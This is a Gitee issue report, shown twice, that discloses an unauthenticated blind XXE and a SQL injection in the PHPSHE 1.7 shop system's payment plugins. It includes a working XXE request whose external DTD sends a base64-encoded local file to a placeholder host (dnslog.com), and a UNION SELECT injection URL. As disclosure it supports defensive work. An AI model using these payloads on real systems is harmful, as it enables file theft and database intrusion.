Sign in
Sign up
Explore
Enterprise
Education
Search
Help
Terms of use
About Us
Explore
Enterprise
Education
Gitee Premium
Gitee AI
AI teammates
Sign in
Sign up
Fetch the repository succeeded.
Donate
Please sign in before you donate.
Cancel
Sign in
Scan WeChat QR to Pay
Cancel
Complete
Prompt
Switch to Alipay.
OK
Cancel
Watch
Unwatch
Watching
Releases Only
Ignoring
17
Star
48
Fork
17
koyshe
/
phpshe
Code
Issues
7
Pull Requests
0
Wiki
Insights
Pipelines
Service
PHPDoc
Quality Analysis
Jenkins for Gitee
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Aliyun SAE
Codeblitz
SBOM
DevLens
Don’t show this again
Update failed. Please try again later!
Remove this flag
Content Risk Flag
This task is identified by
as the content contains sensitive information such as code security bugs, privacy leaks, etc., so it is only accessible to contributors of this repository.
Two vulnerabiliyies without authentication
Backlog
#ITC0C
wps2015
Opened this issue
2019-03-10 11:42
#### 0x01 blind XXE in /include/plugin/payment/wechat/notify_url.php The XXE vulnerability is located in include/plugin/payment/wechat/notify_url.php, `wechat_getxml` function is called.  `wechat_getxml` function is defined in hook/wechat.hook.php ,then `pe_getxml`function is called.  `pe_getxml` function is defined in include/function/global.func.php。`simplexml_load_string()` function is called to parse the xml from `php://input`. If the version of libxml lib < 2.9.0, `simplexml_load_string()` will parse the external entity in the default mod.  the poc is as below: ```html /phpshe1.7/include/plugin/payment/wechat/notify_url.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 ... Content-Type: application/xml Content-Length: 257 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://yoursite.com/test.dtd"> %dtd; ]> <roottag>&send;</roottag> ``` test.dtd: ```xml <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://dnslog.com/?%file;'>"> %all; ``` We can use it to read any file in the system. #### 0x02 SQL Injection in include/plugin/payment/alipay/pay.php with parameter id The vulnerability is located in include/plugin/payment/alipay/pay.php and $order_id can be controlled.  Then the renturn value of `order_table` will be directly spliced into SQL statements as table name.  So the poc is as below: ```sql /include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,user(),4,5,6,7,8,9,10,11,12%23_ ``` 
#### 0x01 blind XXE in /include/plugin/payment/wechat/notify_url.php The XXE vulnerability is located in include/plugin/payment/wechat/notify_url.php, `wechat_getxml` function is called.  `wechat_getxml` function is defined in hook/wechat.hook.php ,then `pe_getxml`function is called.  `pe_getxml` function is defined in include/function/global.func.php。`simplexml_load_string()` function is called to parse the xml from `php://input`. If the version of libxml lib < 2.9.0, `simplexml_load_string()` will parse the external entity in the default mod.  the poc is as below: ```html /phpshe1.7/include/plugin/payment/wechat/notify_url.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0 ... Content-Type: application/xml Content-Length: 257 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini"> <!ENTITY % dtd SYSTEM "http://yoursite.com/test.dtd"> %dtd; ]> <roottag>&send;</roottag> ``` test.dtd: ```xml <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'http://dnslog.com/?%file;'>"> %all; ``` We can use it to read any file in the system. #### 0x02 SQL Injection in include/plugin/payment/alipay/pay.php with parameter id The vulnerability is located in include/plugin/payment/alipay/pay.php and $order_id can be controlled.  Then the renturn value of `order_table` will be directly spliced into SQL statements as table name.  So the poc is as below: ```sql /include/plugin/payment/alipay/pay.php?id=pay`%20where%201=1%20union%20select%201,2,user(),4,5,6,7,8,9,10,11,12%23_ ``` 
Comments (
0
)
Sign in
to comment
Status
Backlog
Backlog
Doing
Done
Closed
Assignees
Not set
Labels
Not set
Label settings
Milestones
No related milestones
No related milestones
Pull Requests
None yet
None yet
Successfully merging a pull request will close this issue.
Branches
No related branch
Branches (
-
)
Tags (
-
)
Planed to start   -   Planed to end
-
Top level
Not Top
Top Level: High
Top Level: Medium
Top Level: Low
Priority
Not specified
Serious
Main
Secondary
Unimportant
参与者(1)
PHP
1
https://gitee.com/koyshe/phpshe.git
git@gitee.com:koyshe/phpshe.git
koyshe
phpshe
phpshe
Going to Help Center
Search
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
Comment
Repository Report
Back to the top
Login prompt
This operation requires login to the code cloud account. Please log in before operating.
Go to login
No account. Register